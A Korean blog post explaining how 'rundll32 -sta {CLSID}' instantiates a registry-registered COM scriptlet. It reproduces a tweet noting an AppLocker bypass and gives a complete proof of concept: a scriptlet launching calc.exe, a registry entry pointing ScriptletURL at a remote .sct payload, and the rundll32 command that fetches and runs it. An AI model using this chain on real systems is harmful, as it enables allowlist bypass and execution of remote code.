레지스트리에 등록된 원격지 스크립트 COM 객체 실행 방법
오호... 트위터에서 다음의 글을 보게 되었습니다. ^^
@bohops
; https://twitter.com/bohops/status/1011350358566821891
Interesting way to call a COM CLSID:
rundll32.exe -sta {CLSID}
rundll32.exe /sta {CLSID}
Use this with @subTee's #squiblydoo COM Hijack method for a default AppLocker Bypass
Haven't found any sec-related resources with -sta (single threaded apartment)
Anyone seen this before?
그러니까, COM 객체를 script로 만들 수 있는 기술을 마이크로소프트가 제공하는데요. (정말 오랜만에 보는 군요. scriptlet! 이젠 MSDN에서조차도 자료가 거의 남아 있지 않는데. ^^;)
Scriptlets
; http://www.drdobbs.com/scriptlets/199101569
이 legacy가 아직도 살아있어 Windows 10에서도 동작을 하고 있습니다. 간략하게 기술해 보면, Web 상에 다음과 같은 Script 파일을 보관해 두고,
<?XML version="1.0"?>
<scriptlet>
<registration
description="Scripting.Dictionary"
progid="Scripting.Dictionary"
version="1"
classid="{00000000-0000-0000-0000-0000000000FF}"
remotable="true"
>
</registration>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>
로컬 PC의 CLSID에 위의 scriptlet COM 객체에 명시한 classid의 값으로 다음과 같이 등록해 줍니다.
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-0000000000FF}]
[HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-0000000000FF}\InprocServer32]
@="C:\\\\WINDOWS\\\\system32\\\\scrobj.dll"
[HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-0000000000FF}\ScriptletURL]
@="https://raw.githubusercontent.com/stjeong/LOLBAS/master/OSScripts/Payload/Slmgr_calc.sct"
자, 이제 마지막으로 명령행 창을 열고 해당 COM 객체를 생성해 줍니다.
rundll32 -sta {00000000-0000-0000-0000-0000000000FF}
잘 실행되는군요. ^^
[이 글에 대해서 여러분들과 의견을 공유하고 싶습니다. 틀리거나 미흡한 부분 또는 의문 사항이 있으시면 언제든 댓글 남겨주십시오.]